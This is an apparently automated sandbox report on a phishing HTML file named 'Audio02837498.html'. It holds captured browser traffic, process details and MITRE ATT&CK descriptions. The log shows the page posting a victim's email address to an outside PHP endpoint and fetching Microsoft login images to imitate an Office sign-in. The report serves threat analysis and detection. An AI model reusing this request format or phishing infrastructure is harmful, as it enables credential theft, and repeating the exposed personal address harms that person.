cfL4;desc="?proto=TCP&rtt=1588&min_rtt=1582&rtt_var=606&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2853&recv_bytes=1193&delivery_rate=1787025&cwnd=170&unsent_bytes=0&cid=d0bd8b1934e393f4&ts=2943&x=0"
2024-12-24 10:55:25 UTC	22	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 10{"status":false}
2024-12-24 10:55:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49729	172.67.145.45	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:28 UTC	360	OUT	GET /next.php HTTP/1.1 Host: mrmoney.appcourtservices.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:29 UTC	827	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:55:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tGLNslp6y9crO5fyFH1nNxm1XBp3trCzR0wxFdKpYCqud0MP3g4ByADAVoCLk%2Fi%2BC0jxiJ3T8AYeB0BXxEe5UPFi4rjcFKJWyT1z1JUTW%2Bok3z1lQ4poUkX9vZZMQFTmRWdSbZoBGMAXL8ncYboi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f700f2c396a0f8c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1628&min_rtt=1614&rtt_var=633&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2853&recv_bytes=938&delivery_rate=1691772&cwnd=212&unsent_bytes=0&cid=f692c942847c27f0&ts=652&x=0"
2024-12-24 10:55:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49731	152.199.21.175	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:30 UTC	619	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:31 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5989832 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Tue, 24 Dec 2024 10:55:31 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-12-24 10:55:31 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49734	104.21.33.126	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:31 UTC	638	OUT	POST /next.php HTTP/1.1 Host: mrmoney.appcourtservices.com Connection: keep-alive Content-Length: 42 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:31 UTC	42	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 64 6f 6e 61 6c 64 2e 68 61 72 74 6d 61 6e 40 69 6e 77 67 2e 63 61 70 2e 67 6f 76 Data Ascii: do=check&email=donald.hartman@inwg.cap.gov
2024-12-24 10:55:33 UTC	941	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:55:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RO7KQ%2B%2Fujc9vweY1miQnYI8vJMGs5iNaRLBhbMkDRmrXZOA5TZQjZIrYJ0p%2Fury1mn0ROyyk92bHKA2%2FyIXTXhP9HgTMtye%2B4oVoA50L8%2B6FEO11DGVrRnne5ty6ZOkzpj5xYOeAkLlMrn6uRbQJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f700f3ea8914291-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1563&min_rtt=1557&rtt_var=596&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=1280&delivery_rate=1815920&cwnd=207&unsent_bytes=0&cid=bd05218e77f782f0&ts=1663&x=0"
2024-12-24 10:55:33 UTC	95	IN	Data Raw: 35 39 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 6e 75 6c 6c 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 6e 75 6c 6c 2c 22 66 65 64 65 72 61 74 69 6f 6e 4c 6f 67 69 6e 22 3a 22 22 2c 22 74 79 70 65 22 3a 22 6f 66 66 69 63 65 22 7d 0d 0a Data Ascii: 59{"status":"success","banner":null,"background":null,"federationLogin":"","type":"office"}
2024-12-24 10:55:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49735	152.199.21.175	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:33 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:33 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5989834 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Tue, 24 Dec 2024 10:55:33 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-12-24 10:55:33 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49739	172.67.145.45	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:35 UTC	360	OUT	GET /next.php HTTP/1.1 Host: mrmoney.appcourtservices.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:36 UTC	821	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:55:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BCZc8Fmk4D7dg7kG7nQOKMo9QjqgmEwQ80qWh4W1CFSzudp2lqBVVtggdcVeW1zvlPaVlkZD34OlkdI5W01SLYdt4hbM8mNkAr9D93WuXCYwKPlR0txMbtYxjfAFAsyJTp1G065vHmThfVBQ2EFM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f700f583f8843c9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&min_rtt=1563&rtt_var=604&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=938&delivery_rate=1783750&cwnd=230&unsent_bytes=0&cid=3e82b1739ef5ae37&ts=625&x=0"
2024-12-24 10:55:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:55:12
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Audio02837498.html
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	05:55:13
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=2024,i,8155566822440245312,8838022581628603554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Audio02837498.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Static File Info

General

Windows Analysis Report
Audio02837498.html